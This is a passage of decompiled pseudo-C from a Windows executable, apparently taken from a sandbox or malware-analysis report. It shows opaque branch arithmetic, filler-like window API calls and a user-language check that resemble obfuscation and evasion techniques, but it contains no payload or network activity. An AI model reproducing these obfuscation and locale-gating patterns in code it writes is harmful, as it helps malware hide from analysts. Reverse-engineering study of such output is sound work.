				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1206 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1346);
				if (_t1206 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1206 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1206, _t1346, _t1348, _t1353); // executed
				_a152 = _t1346;
				E00007FF67FF6ED1075F0(0, 0x31, 0x8000007f, _t1347, _t1346, _t1358, _t1360, _t1362, _t1363);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1206, _t1347, _t1346, _t1366, _t1346, _t1358, _t1359, _t1364, _t1365, _t1366, _t1367); // executed
				 *0xed236f60 = 0x35;
				_t1207 = 0x35 + _t1008 - 0x37;
				if (_t1207 < 0) goto 0xed0f845e;
				_t203 = E00007FF67FF6ED184484(_t1346);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1207 >= 0) goto 0xed0f848b;
				_t1208 = ((_t203 & r15d) - _t1008 | r14d) + _t1008 - 0xb;
				if (_t1208 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t209 = E00007FF67FF6ED184484(_t1346);
				if (_t1208 >= 0) goto 0xed0f84a7;
				_t1209 = ((_t209 & r15d) - _t1008 | r14d) + _t1008 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1346);
				if (_t1209 >= 0) goto 0xed0f84bf;
				_t219 = E00007FF67FF6ED184484(_t1346);
				if (_t1209 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t219 & r15d) - _t1008 | r14d) + _t1008 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t1029 = sil;
				 *0xed236f60 = _t1029 & 0x000000ff;
				if (_t1029 + _t1008 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1212 = 0x4a + _t1008 - 0x4e;
				if (_t1212 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1346);
				if (_t1212 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1212 <= 0) goto 0xed0f85be;
				_t236 = E00007FF67FF6ED184484(_t1346);
				if (_t1212 >= 0) goto 0xed0f856a;
				_t1213 = ((_t236 & r15d) - _t1008 | r14d) + _t1008 - 0x44;
				if (_t1213 == 0) goto 0xed0f858e;
				_t241 = E00007FF67FF6ED184484(_t1346);
				if (_t1213 >= 0) goto 0xed0f8580;
				_t1214 = ((_t241 & r15d) - _t1008 | r14d) + _t1008 - 0x44;
				 *0xed236f60 = 0 | _t1214 != 0x00000000;
				 *0xed236f60 = _t1008;
				E00007FF67FF6ED184484(_t1346);
				if (_t1214 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1214 > 0x00000000;
				goto 0xed0f860f;
				_t253 = E00007FF67FF6ED184484(_t1346);
				if (_t1214 >= 0) goto 0xed0f85cf;
				if (((_t253 & r15d) - _t1008 | r14d) + _t1008 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1216 = dil - 0x1d;
				if (_t1216 < 0) goto 0xed0f85d7;
				_t259 = E00007FF67FF6ED184484(_t1346);
				if (_t1216 >= 0) goto 0xed0f8601;
				_t1217 = ((_t259 & r15d) - _t1008 | r14d) + _t1008 - 0x61;
				 *0xed236f60 = 0 | _t1217 != 0x00000000;
				E00007FF67FF6ED184484(_t1346);
				if (_t1217 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1217 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1346);
				if (_t1217 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1217 >= 0x00000000;
				goto 0xed0f8709;
				_t276 = E00007FF67FF6ED184484(_t1346);
				if (_t1217 >= 0) goto 0xed0f8687;
				_t1218 = ((_t276 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x2f;
				if (_t1218 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1346);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1346);
				if (_t1218 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1219 = dil - 0x6b;
				if (_t1219 >= 0) goto 0xed0f86eb;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1219 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1219 >= 0) goto 0xed0f86ba;
				_t293 = E00007FF67FF6ED184484(_t1346);
				if (_t1219 >= 0) goto 0xed0f86fb;
				_t1220 = ((_t293 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x2f;
				 *0xed236f60 = 0 | _t1220 == 0x00000000;
				_t298 = E00007FF67FF6ED184484(_t1346);
				if (_t1220 >= 0) goto 0xed0f8719;
				_t1221 = ((_t298 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x55;
				if (_t1221 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t303 = E00007FF67FF6ED184484(_t1346);
				if (_t1221 >= 0) goto 0xed0f8734;
				_t1222 = ((_t303 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x55;
				 *0xed236f60 = 0 | _t1222 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1346);
				if (_t1222 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1223 = dil - 0xf;
				if (_t1223 >= 0) goto 0xed0f87a6;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1223 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1223 != 0) goto 0xed0f87a6;
				if (_t1223 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1346);
				if (_t1223 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1223 != 0) goto 0xed0f88ca;
				if (_t1223 != 0) goto 0xed0f88ca;
				_t327 = E00007FF67FF6ED184484(_t1346);
				if (_t1223 >= 0) goto 0xed0f87eb;
				if (((_t327 & 0x8000007f) - _t1008 | r14d) + _t1008 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1225 = 0xe + _t1008 - sil;
				if (_t1225 < 0) goto 0xed0f87f2;
				_t333 = E00007FF67FF6ED184484(_t1346);
				if (_t1225 >= 0) goto 0xed0f8812;
				_t1226 = ((_t333 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x16;
				 *0xed236f60 = 0 | _t1226 != 0x00000000;
				goto 0xed0f88f6;
				_t338 = E00007FF67FF6ED184484(_t1346);
				if (_t1226 >= 0) goto 0xed0f8835;
				_t1227 = ((_t338 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x29;
				if (_t1227 == 0) goto 0xed0f8888;
				_t343 = E00007FF67FF6ED184484(_t1346);
				if (_t1227 >= 0) goto 0xed0f884a;
				_t1228 = ((_t343 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x5a;
				if (_t1228 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t348 = E00007FF67FF6ED184484(_t1346);
				if (_t1228 >= 0) goto 0xed0f8864;
				_t1229 = ((_t348 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x5a;
				 *0xed236f60 = 0 | _t1229 != 0x00000000;
				_t353 = E00007FF67FF6ED184484(_t1346);
				if (_t1229 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t358 = E00007FF67FF6ED184484(_t1346);
				if (((_t353 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x29 >= 0) goto 0xed0f8898;
				_t1231 = ((_t358 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x17;
				if (_t1231 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t363 = E00007FF67FF6ED184484(_t1346);
				if (_t1231 >= 0) goto 0xed0f88b7;
				_t1232 = ((_t363 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x17;
				 *0xed236f60 = 0 | _t1232 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1346);
				if (_t1232 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1232 != 0) goto 0xed0f88ee;
				if (_t1232 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t1008;
				dil = 0x4b;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1232 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1232 < 0) goto 0xed0f892e;
				_t1233 = dil - 0x4f;
				if (_t1233 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1346);
				if (_t1233 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1346);
				if (_t1233 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1233 >= 0x00000000;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t1008 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t1008 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1237 = 0x63 + _t1008 - 0x74;
				if (_t1237 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t399 = E00007FF67FF6ED184484(_t1346);
				if (_t1237 >= 0) goto 0xed0f89e9;
				if (((_t399 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1239 = 0x16 + _t1008 - 0x19;
				if (_t1239 < 0) goto 0xed0f89f0;
				_t405 = E00007FF67FF6ED184484(_t1346);
				if (_t1239 >= 0) goto 0xed0f8a10;
				_t1240 = ((_t405 & 0x8000007f) - _t1008 | r14d) + _t1008 - 0x1b;
				 *0xed236f60 = 0 | _t1240 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1346);
				if (_t1240 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1240 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1346);
				if (_t1240 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1240 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t1008 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1243 = dil - 0x4a;
				if (_t1243 >= 0) goto 0xed0f8ae6;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t429 = E00007FF67FF6ED184484(_t1346);
				if (_t1243 >= 0) goto 0xed0f8ae1;
				if (((_t429 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t1008;
				 *0xed236f60 = sil & 0xffffffff;
				_t1245 = sil - 0x12;
				if (_t1245 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t435 = E00007FF67FF6ED184484(_t1346);
				if (_t1245 >= 0) goto 0xed0f8b19;
				_t1246 = ((_t435 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x6d;
				if (_t1246 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1346);
				if (_t1246 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1246 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1346);
				if (_t1246 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1246 >= 0x00000000;
				_t452 = E00007FF67FF6ED184484(_t1346);
				if (_t1246 >= 0) goto 0xed0f8b7b;
				_t1247 = ((_t452 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x6d;
				 *0xed236f60 = 0 | _t1247 != 0x00000000;
				dil = 0x26;
				_t457 = E00007FF67FF6ED184484(_t1346);
				if (_t1247 >= 0) goto 0xed0f8b9f;
				_t1248 = ((_t457 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0xf;
				if (_t1248 >= 0) goto 0xed0f8bbe;
				_t462 = E00007FF67FF6ED184484(_t1346);
				if (_t1248 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t467 = E00007FF67FF6ED184484(_t1346);
				if (((_t462 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0xf >= 0) goto 0xed0f8bd1;
				_t1250 = ((_t467 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x50;
				if (_t1250 >= 0) goto 0xed0f8bf7;
				_t472 = E00007FF67FF6ED184484(_t1346);
				if (_t1250 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t472 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x00000050 < 0x00000000;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1252 = dil - 0x30;
				if (_t1252 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t479 = E00007FF67FF6ED184484(_t1346);
				if (_t1252 >= 0) goto 0xed0f8c25;
				_t1253 = ((_t479 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x68;
				if (_t1253 < 0) goto 0xed0f8c4a;
				_t484 = E00007FF67FF6ED184484(_t1346);
				if (_t1253 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t489 = E00007FF67FF6ED184484(_t1346);
				if (((_t484 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t489 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1256 = dil - 0x1f;
				if (_t1256 < 0) goto 0xed0f8c65;
				_t496 = E00007FF67FF6ED184484(_t1346);
				if (_t1256 >= 0) goto 0xed0f8c91;
				_t1257 = ((_t496 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x62;
				 *0xed236f60 = 0 | _t1257 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t503 = E00007FF67FF6ED184484(_t1346);
				if (_t1257 >= 0) goto 0xed0f8cd6;
				_t1258 = ((_t503 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 8;
				if (_t1258 < 0) goto 0xed0f8cff;
				_t508 = E00007FF67FF6ED184484(_t1346);
				if (_t1258 >= 0) goto 0xed0f8cf2;
				_t1259 = ((_t508 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 8;
				 *0xed236f60 = 0 | _t1259 >= 0x00000000;
				dil = 7;
				_t513 = E00007FF67FF6ED184484(_t1346);
				if (_t1259 >= 0) goto 0xed0f8d15;
				_t1260 = ((_t513 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x1e;
				if (_t1260 <= 0) goto 0xed0f8d3b;
				_t518 = E00007FF67FF6ED184484(_t1346);
				if (_t1260 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t518 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x0000001e > 0x00000000;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1262 = dil - 0x14;
				if (_t1262 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t1008;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t1008;
				_t528 = E00007FF67FF6ED184484(_t1346);
				if (_t1262 >= 0) goto 0xed0f8d87;
				_t1263 = ((_t528 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x46;
				if (_t1263 >= 0) goto 0xed0f8dac;
				_t533 = E00007FF67FF6ED184484(_t1346);
				if (_t1263 >= 0) goto 0xed0f8d9c;
				_t1264 = ((_t533 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x46;
				 *0xed236f60 = 0 | _t1264 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t1008;
				_t538 = E00007FF67FF6ED184484(_t1346);
				if (_t1264 >= 0) goto 0xed0f8dc2;
				_t1265 = ((_t538 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - _t1008;
				if (_t1265 >= 0) goto 0xed0f8de3;
				_t543 = E00007FF67FF6ED184484(_t1346);
				if (_t1265 >= 0) goto 0xed0f8dd6;
				_t1266 = ((_t543 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - _t1008;
				 *0xed236f60 = 0 | _t1266 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1266 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1266 < 0) goto 0xed0f8e21;
				_t1267 = dil - bpl;
				if (_t1267 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t555 = E00007FF67FF6ED184484(_t1346);
				if (_t1267 >= 0) goto 0xed0f8e54;
				if (((_t555 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1269 = dil - 0x60;
				if (_t1269 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1346);
				if (_t1269 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1269 != 0) goto 0xed0f8e94;
				if (_t1269 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t1008;
				goto 0xed0f8ec0;
				_t565 = E00007FF67FF6ED184484(_t1346);
				if (_t1269 >= 0) goto 0xed0f8ea4;
				_t1270 = ((_t565 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1270 != 0) goto 0xed0f8eb8;
				if (_t1270 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t1008;
				GetMessageExtraInfo();
				_t573 = E00007FF67FF6ED184484(_t1346);
				if (_t1270 >= 0) goto 0xed0f8ed6;
				if (((_t573 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t1008;
				 *0xed236f60 = sil & 0xffffffff;
				_t1273 = sil - 0x34;
				if (_t1273 < 0) goto 0xed0f8edd;
				_t580 = E00007FF67FF6ED184484(_t1346);
				r14d = 0x8000007f;
				if (_t1273 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t585 = E00007FF67FF6ED184484(_t1346);
				r14d = 0x8000007f;
				if (((_t580 & r14d) - _t1008 | 0xffffff80) + _t1008 - 0x5d >= 0) goto 0xed0f8f42;
				_t588 = (_t585 & 0x8000007f) - _t1008 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1276 = _t588 - 0x15;
				if (_t1276 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1346);
				if (_t1276 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1276 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1346);
				if (_t1276 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1276 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t1008;
				_t601 = E00007FF67FF6ED184484(_t1346);
				if (_t1276 >= 0) goto 0xed0f8fb7;
				_t1277 = ((_t601 & r14d) - _t1008 | 0xffffff80) + _t1008 - 0x15;
				 *0xed236f60 = 0 | _t1277 == 0x00000000;
				dil = 0x5f;
				_t606 = E00007FF67FF6ED184484(_t1346);
				if (_t1277 >= 0) goto 0xed0f8fd9;
				_t1278 = ((_t606 & r14d) - _t1008 | 0xffffff80) + _t1008 - 0x27;
				if (_t1278 <= 0) goto 0xed0f8ffd;
				_t611 = E00007FF67FF6ED184484(_t1346);
				if (_t1278 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t611 & r14d) - _t1008 | 0xffffff80) + _t1008 - 0x00000027 > 0x00000000;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1280 = dil - 0x73;
				if (_t1280 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1346);
				if (_t1280 >= 0) goto 0xed0f9034;
				_t624 = E00007FF67FF6ED184484(_t1346);
				if (_t1280 >= 0) goto 0xed0f9045;
				dil = dil + _t1008;
				 *0xed236f60 = 0 | ((_t624 & r14d) - _t1008 | 0xffffff80) + _t1008 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1283 = 0x52 + _t1008 - 0x5b;
				if (_t1283 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1283 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1283 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t1008;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1285 = r13b - 0x11;
				if (_t1285 < 0) goto 0xed0f90be;
				_t640 = E00007FF67FF6ED184484(_t1346);
				r13d = 0xffffff80;
				if (_t1285 >= 0) goto 0xed0f90e8;
				_t1286 = ((_t640 & r14d) - _t1008 | r13d) + _t1008 - 7;
				if (_t1286 >= 0) goto 0xed0f910e;
				_t645 = E00007FF67FF6ED184484(_t1346);
				if (_t1286 >= 0) goto 0xed0f90fe;
				_t1287 = ((_t645 & r14d) - _t1008 | r13d) + _t1008 - 7;
				 *0xed236f60 = 0 | _t1287 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1346);
				if (_t1287 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1287 != 0) goto 0xed0f915f;
				if (_t1287 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1289 = 0x21 + _t1008 - 0x33;
				if (_t1289 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t660 = E00007FF67FF6ED184484(_t1346);
				if (_t1289 >= 0) goto 0xed0f9198;
				if (((_t660 & r14d) - _t1008 | r13d) + _t1008 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t666 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t666 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1347, _a152, _t1358);
				 *0xed236f60 = 0x30;
				_t1293 = 0x30 + _t1008 - sil;
				if (_t1293 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t1008;
				GetForegroundWindow();
				_t670 = E00007FF67FF6ED184484(_t1346);
				if (_t1293 >= 0) goto 0xed0f921e;
				_t1294 = ((_t670 & r14d) - _t1008 | r13d) + _t1008 - 0x77;
				if (_t1294 <= 0) goto 0xed0f9242;
				_t675 = E00007FF67FF6ED184484(_t1346);
				if (_t1294 >= 0) goto 0xed0f9234;
				_t1295 = ((_t675 & r14d) - _t1008 | r13d) + _t1008 - 0x77;
				 *0xed236f60 = 0 | _t1295 > 0x00000000;
				GetDoubleClickTime();
				_t681 = E00007FF67FF6ED184484(_t1346);
				if (_t1295 >= 0) goto 0xed0f9259;
				_t1296 = ((_t681 & r14d) - _t1008 | r13d) + _t1008 - 0x7c;
				if (_t1296 <= 0) goto 0xed0f927d;
				_t686 = E00007FF67FF6ED184484(_t1346);
				if (_t1296 >= 0) goto 0xed0f926f;
				_t1297 = ((_t686 & r14d) - _t1008 | r13d) + _t1008 - 0x7c;
				 *0xed236f60 = 0 | _t1297 > 0x00000000;
				_t691 = E00007FF67FF6ED184484(_t1346);
				if (_t1297 >= 0) goto 0xed0f928e;
				_t1298 = ((_t691 & r14d) - _t1008 | r13d) + _t1008 - 0x6f;
				if (_t1298 >= 0) goto 0xed0f92b2;
				_t696 = E00007FF67FF6ED184484(_t1346);
				if (_t1298 >= 0) goto 0xed0f92a4;
				_t1299 = ((_t696 & r14d) - _t1008 | r13d) + _t1008 - 0x6f;
				 *0xed236f60 = 0 | _t1299 < 0x00000000;
				_t701 = E00007FF67FF6ED184484(_t1346);
				if (_t1299 >= 0) goto 0xed0f92c3;
				_t1300 = ((_t701 & r14d) - _t1008 | r13d) + _t1008 - 0x24;
				if (_t1300 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t707 = E00007FF67FF6ED184484(_t1346);
				if (_t1300 >= 0) goto 0xed0f92df;
				_t1301 = ((_t707 & r14d) - _t1008 | r13d) + _t1008 - 0x24;
				 *0xed236f60 = 0 | _t1301 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1346);
				if (_t1301 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1301 <= 0) goto 0xed0f9398;
				_t718 = E00007FF67FF6ED184484(_t1346);
				if (_t1301 >= 0) goto 0xed0f9330;
